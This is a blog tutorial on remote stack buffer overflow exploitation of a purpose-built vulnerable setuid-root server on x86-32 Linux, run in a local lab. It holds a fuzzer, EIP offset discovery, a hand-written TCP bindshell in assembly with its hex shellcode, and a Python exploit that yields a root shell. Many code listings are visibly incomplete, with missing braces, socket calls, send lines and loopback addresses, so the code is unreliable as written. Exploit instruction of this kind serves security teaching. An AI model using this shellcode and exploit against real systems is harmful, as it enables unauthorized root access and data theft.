Remote Exploitation

Posted on Thu 12 June 2014 in x86-32 Linux

This is the third part in our series on exploit research on x86-32 Linux systems. Part 1 was an introduction into buffer overflows and part 2 was an introduction to format string vulnerabilities.

Both of the previous posts have been targeting local applications, here I will introduce remote exploitation and try to describe the differences between exploiting a local or a remote application while demonstrating remote exploitation.

The Vulnerable App

I've tried to keep the application as similar to the application we used in part 1 and 2 as possible, obviously some changes needed to be made:

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#include <string.h>

#define PASS "topsecretpassword"
#define SFILE "secret.txt"
#define PORT 9999

void sendfile(int connfd, struct sockaddr_in cliaddr);
void senderror(int connfd, struct sockaddr_in cliaddr, char p[]);
int checkpass(char *p);

void main()
    int listenfd, connfd, n, c, r;
    struct sockaddr_in servaddr, cliaddr;
    socklen_t clilen;
    pid_t childpid;
    char pwd[1000];


    servaddr.sin_family = AF_INET;
    if ((r = bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr))) != 0) {
        printf("Error: Unable to bind to port %d\n", PORT);


    for(;;) {
        connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen);

        n = recvfrom(connfd, pwd, 1000, 0, (struct sockaddr *)&cliaddr, &clilen);
        pwd[n] = '\0';
        r = checkpass(pwd);
        if (r != 0) {
            senderror(connfd, cliaddr, pwd);
        } else {
            sendfile(connfd, cliaddr);
        printf("Received the following:\n");
        printf("%s\n", pwd);


void sendfile(int connfd, struct sockaddr_in cliaddr)
    FILE *f;
    int c;
    f = fopen(SFILE, "r");
    if (f) {
        while ((c = getc(f)) != EOF)
            sendto(connfd, &c, 1, 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
    } else {
        printf("Error opening file: " SFILE "\n");

void senderror(int connfd, struct sockaddr_in cliaddr, char p[])
    sendto(connfd, "Wrong password: ", 16 , 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
    sendto(connfd, p, strlen(p), 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
    sendto(connfd, "\n", 1 , 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));

int checkpass(char *a)
    char p[512];
    int r;
    strncpy(p, a, strlen(a)+1);
    r = strcmp(p, PASS);
    return r;

The main differences here are that the communication between the user and the application is done over a network, instead of via command line arguments, and that there is no format string vulnerability.

The Fix

The vulnerability is in the same line as the plain buffer overflow post in the checkpass function on line 82. This should be changed to strncpy(p, a, sizeof(p)-1); and explicitly insert the null character at the end p[512] = '\0';.

Setting Up The Environment

There are 3 main differences (and a few minor ones) when doing exploit development for remote applications. The first is pretty obvious, when doing exploit research it is impossible to develop an exploit on a target application which resides on a machine which you don't control.

While its best not to develop an exploit on a target machine (because you want to be as quiet as possible so not to raise suspicion of the administrator), with local application attacks it is assumed that you already have access to the machine (otherwise you will not be able to attack it) so it is totally possible to do the development on the target machine providing the tools that you need are on there (ie. a debugger, disassembler, compiler...) or you have the means to install them.

But with a network application it is unlikely that you already have access to the machine and as we have seen in the first 2 parts of this series while you are developing the exploit you will need to restart the application numerous times. For this reason it is best to do a lot of reconnaissance to get as much information about the environment that the application is running in as possible because you will then want to try to replicate that environment as much as possible for the development environment.

The more you replicate the real environment, the more likely you will succeed with the actual exploitation.

I will be using the same system and environment as before but I will create a new user to run the application as:

[email protected]:~# adduser appuser
Adding user `appuser' ...
Adding new group `appuser' (1002) ...
Adding new user `appuser' (1002) with group `appuser' ...
Creating home directory `/home/appuser' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
Changing the user information for testuser
Enter the new value, or press ENTER for the default
 Full Name []: 
 Room Number []: 
 Work Phone []: 
 Home Phone []: 
 Other []: 
Is the information correct? [Y/n]
[email protected]:~# ls
[email protected]:~# gcc -z execstack -fno-stack-protector -o app-net app-net.c
[email protected]:~# cp app-net /home/appuser/
[email protected]:~# cat /proc/sys/kernel/randomize_va_space
[email protected]:~# echo 0 > /proc/sys/kernel/randomize_va_space
[email protected]:~# cat /proc/sys/kernel/randomize_va_space
[email protected]:/home/appuser# ls -l
total 8
-rwxr-xr-x 1 root root 7824 Jun 15 13:48 app-net
[email protected]:/home/appuser# chmod u+s app-net 
[email protected]:/home/appuser# ls -l
total 8
-rwsr-xr-x 1 root root 7824 Jun 15 13:48 app-net
[email protected]:/home/appuser# echo 'This is a top secret file!
> Only people with the password should be able to view this file!' > secret.txt
[email protected]:/home/appuser# ls -l secret.txt
-rw-r--r-- 1 root root 91 May  9 13:40 secret.txt
[email protected]:/home/appuser# chmod 600 secret.txt
[email protected]:/home/appuser# ls -l secret.txt
-rw------- 1 root root 91 May  9 13:40 secret.txt
[email protected]:/home/appuser# cat secret.txt
This is a top secret file!
Only people with the password should be able to view this file!
[email protected]:/home/appuser# su - appuser
[email protected]:~$ ls -l
total 12
-rwsr-xr-x 1 root root 7824 Jun 15 13:48 app-net
-rw------- 1 root root   91 May  5 09:51 secret.txt
[email protected]:~$ cat secret.txt 
cat: secret.txt: Permission denied

So this is the setup for my development environment, my attack and target machine are the same machine, I'll just be using seperate user accounts.

I will be attacking the application over the loopback interface ( The actual network you attack over is irrelevant I'm using the same machine and the loopback interface for simplicity and reliability.

The application will be running as the user appuser, the application again has the setuid bit set because the file that it sends when the correct password is received is only readable by root. This also means we are able to elevate our privileges to root as in the last 2 parts.

We now need to run the application on the "server side":

[email protected]:~$ ./app-net 

The server is now listening on port 9999:

[email protected]:~# lsof | grep -i listen | grep 9999
app-net   18826             root    3u     IPv4     191330      0t0        TCP *:9999 (LISTEN)

Testing The App

First we need to look at what output we should expect normally:

[email protected]:~$ echo -n "A" | nc 9999
Wrong password: A

So we get "Wrong password: " and our input, I'm going to show you 2 ways to do this, first we write a fuzzer and launch it like before, we can use this python script:

#!/usr/bin/env python

import socket

for i in range(1,5001): # loop through 1 to 5001
            # and use i as the incrementor

    # create a TCP socket (AF_INET = IP and SOCK_STREAM = TCP)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # use that socket and connect to
    s.connect(("", 9999))

    # send "A" i number of times over the connection

    # store the reply in a variable called reply
    reply = s.recv(2048)

    # close the socket

    # check the output is what we expect
    if reply != "Wrong password: " + "A"*i:

        # and if not break out of the loop

# print what number we got to
print i

Run the script:

[email protected]:~$ python

Now we have to verify how far it is until we overwrite EIP:

[email protected]:~$ gdb -q ./app-net
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/appuser/app-net 
[email protected]:~$ python -c 'print "A" * 528' | nc 9999
Program received signal SIGSEGV, Segmentation fault.
0x0804000a in ?? ()
(gdb) r
Starting program: /home/appuser/app-net
[email protected]:~$ python -c 'print "A" * 530' | nc 9999
Program received signal SIGSEGV, Segmentation fault.
0x000a4141 in ?? ()
(gdb) r
Starting program: /home/appuser/app-net
[email protected]:~$ python -c 'print "A" * 532' | nc 9999
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

So the next 4 bytes after the first 528 bytes that we send overwrite EIP, lets use the second method to verify this.

The second method involves using a couple of tools that come with metasploit (pattern_create.rb and pattern_offset.rb). First we create a pattern of 5000 bytes using pattern_create.rb, send this and use pattern_offset.rb to find out where we overwrote EIP:

[email protected]:~$ gdb -q ./app-net
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/appuser/app-net 
[email protected]:~$ cd /usr/share/metasploit-framework/tools/
[email protected]:/usr/share/metasploit-framework/tools$ ./pattern_create.rb 5000
[email protected]:/usr/share/metasploit-framework/tools$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk" | nc 9999
Program received signal SIGSEGV, Segmentation fault.
0x41367241 in ?? ()
[email protected]:/usr/share/metasploit-framework/tools$ ./pattern_offset.rb 41367241
[*] Exact match at offset 528

Great! So both methods agree. :-)

Developing The Exploit

So now to start developing the exploit, which brings us to our second major difference when attacking a remote application.

In parts 1 and 2 we put our shellcode inside an environment variable but with a network application we don't have that ability so the shellcode has to be sent to the server some other way. The most obvious way is to send it with our exploit payload which is what we will do here.

This also brings up another important feature of shellcode development, our payload is being put through 'strncpy' which means if it contains any null bytes '\x00' then it will cut our shellcode short and ultimately break the exploit. The shellcode I wrote and used in the first 2 parts had no null bytes but this wasn't necessary because we were storing it in a variable but as we can't do that now it is important that there are no null's.

The third major difference is obviously the shellcode, the pervious shellcode just launched a shell, that would be useless here because we need a way to connect to the shell so we have to also create a network socket and either bind to a port so we can connect to it or connect out to another machine.

I've chosen to write a TCP bindshell for this:

; set up a socket listening on port 9998
; once we receive a connection duplicate
; stdin, stdout and stderr to run over that
; client socket and execute execve with
; /bin/bash

global _start

section .text

        xor eax, eax ; zero out all the registers
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    mov al, 0x17 ; put 23 into eax to setuid

    xor ebx, ebx ; zero out ebx

    int 0x80 ; make the syscall setuid

    mov eax, ebx ; zero out eax again

        mov al, 0x66 ; put the sys call number 102 into eax

    mov bl, 0x1 ; select SOCKET to create a new socket

    push ecx ; push the arguments onto the stack in
         ; reverse order and null terminate
    push 0x1 ; SOCK_STREAM
    push 0x2 ; AF_INET

    mov ecx, esp ; move the address of the arguments
             ; into ecx

        int 0x80 ; execute the syscall socketcall SOCKET

    mov esi, eax ; move the descriptor returned into
             ; esi for use later

    mov al, 0x66 ; put the sys call number 102 into eax

    mov bl, 0x2 ; select BIND to bind to a port

    push edx ; push the struct sockaddr onto the stack in
         ; reverse order and null terminate
    push WORD 0x0e27 ; port 9998
    push bx ; AF_INET

    mov ecx, esp ; move the address of the struct sockaddr
             ; into ecx

    push 0x10 ; socklen_t argument (16)
    push ecx ; struct sockaddr
    push esi ; descriptor returned by the call to socket

    mov ecx, esp ; move the address of the arguments
             ; into ecx

    int 0x80 ; execute the syscall socketcall BIND

    mov al, 0x66 ; put the sys call number 102 into eax

    mov bl, 0x4 ; select LISTEN

    push 0x1 ; push arguments to bind onto the stack
         ; in reverse
    push esi ; push descriptor returned by call to socket

    mov ecx, esp ; move the address of the arguments
             ; into ecx

    int 0x80 ; execute the syscall socketcall LISTEN

    mov al, 0x66 ; put the sys call number 102 into eax

    mov bl, 0x5 ; select ACCEPT to start accepting connections

    push edx ; push arguments to accept onto the stack
    push edx ; in reverse order we only need the destriptor
    push esi ; here

    mov ecx, esp ; move the address of the arguments
             ; into ecx

    int 0x80 ; execute the syscall socketcall ACCEPT

    mov ebx, eax ; move the descriptor returned by accept
             ; into ebx to be the first argument to
             ; dup2

    xor ecx, ecx ; zero out ecx

    mov cl, 0x3 ; get the ecx register ready to decrement

dupfd: ; the label for our loop through stdin, stdout and stderr

    dec cl ; decrement ecx so we include 2, 1 and 0

    mov al, 0x3f ; put the sys call number 63 into eax

    int 0x80 ; execute the syscall dup2

    jne dupfd ; create the loop

    xor eax, eax ; zero out eax

    push edx ; null terminate the string
    push 0x68736162 ; push the string ////bin/bash
    push 0x2f6e6962 ; in reverse
    push 0x2f2f2f2f

    mov ebx, esp ; move the address of the string into ebx

    push edx ; push the second argument to execve onto the
    push ebx ; stack in reverse order

    mov ecx, esp ; move the address of the 2nd argument
             ; into ecx

    push edx ; the thrid argument to execve
    mov edx, esp ; a null pointer

    mov al, 0xb ; put the sys call number 11 into eax

    int 0x80 ; execute the syscall execve

Now to assemble, link and test the shellcode:

[email protected]:~$ nasm -f elf32 -o bindshell.o bindshell.nasm
[email protected]:~$ ld -o bindshell bindshell.o
[email protected]:~$ objdump -d ./bindshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
[email protected]:~$ cat shellcode.c

unsigned char code[] = \


        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;


[email protected]:~$ gcc -z execstack -fno-stack-protector -o shellcode shellcode.c
[email protected]:~$ ./shellcode
Shellcode Length:  119
[email protected]:~$ nc 9998

So our shellcode works, lastly we need to figure out where our shellcode will land, one thing you will need to know is that when you start an application using gdb, the memory layout of the stack is slightly different to when its started on its own (we saw this in part 2 where we kept having to adjust our attack inside and outside of gdb).

Our shellcode is going to be stored on the stack so we need to start the application outside of gdb and attach to it in another root terminal so we get the right position that our shellcode will be at:

[email protected]:~$ ./app-net 
[email protected]:~# ps ax | grep app-net
19269 pts/0    S+     0:00 ./app-net
22791 pts/1    S+     0:00 grep app-net
[email protected]:~# gdb -q -p 19269
Attaching to process 19269
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/i686/cmov/ debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/i686/cmov/
Reading symbols from /lib/ debugging symbols found)...done.
Loaded symbols for /lib/
0xb7fe1424 in __kernel_vsyscall ()
(gdb) c
[email protected]:~$ python -c 'print "A"*532' | nc 9999
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/20xw $esp
0xbffff390:     0xbfff000a      0xbffff3b4      0x000003e8      0x00000000
0xbffff3a0:     0xbffff7a0      0xbffff79c      0x000057a8      0x00000006
0xbffff3b0:     0x00001000      0x41414141      0x41414141      0x41414141
0xbffff3c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff3d0:     0x41414141      0x41414141      0x41414141      0x41414141

So our shellcode will start at 0xbffff3b4 (its the second column on the row starting 0xbffff3b0, each column is 4 bytes long so 0xbffff3b0 + 4 = 0xbffff3b4), this is the address that we need to overwrite EIP with.

Now we have the length of our shellcode (119), the address we start overwriting on the stack and the number of bytes until we overwrite EIP, we can write our exploit:

#!/usr/bin/env python

import socket

shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x17\x31\xdb\xcd\x80\x89\xd8\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x27\x0e\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"

payload = "\x90" * 402 # (528 - 119) - 7 = 402

payload += shellcode # append our shellcode

payload += "\x90" * 7 # another 7 bytes

payload += "\xb4\xf3\xff\xbf" # the address of our shellcode
                  # in reverse (little endian)

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to port 9999
s.connect(("", 9999))

# send our payload

# close the socket

Exploiting The App

Finally we can test the exploit against our application:

[email protected]:~$ ./app-net 
[email protected]:~$ python
[email protected]:~$ nc 9998
cat secret.txt
This is a top secret file!
Only people with the password should be able to view this file!

PWNED!!! :-D


I hope this has highlighted the differences between attacking local and remote applications. Different situations will always arise where you need to tweak the method you use to attack the application its best to be able to adapt to as many situations as possible.

It is a little more difficult to develop exploits for a remote applications and might not work when run against the actual target because of differences between the development environment and the actual target environment which is why its very important to try to replicate the target environment as much as possible.

Happy Hacking :–)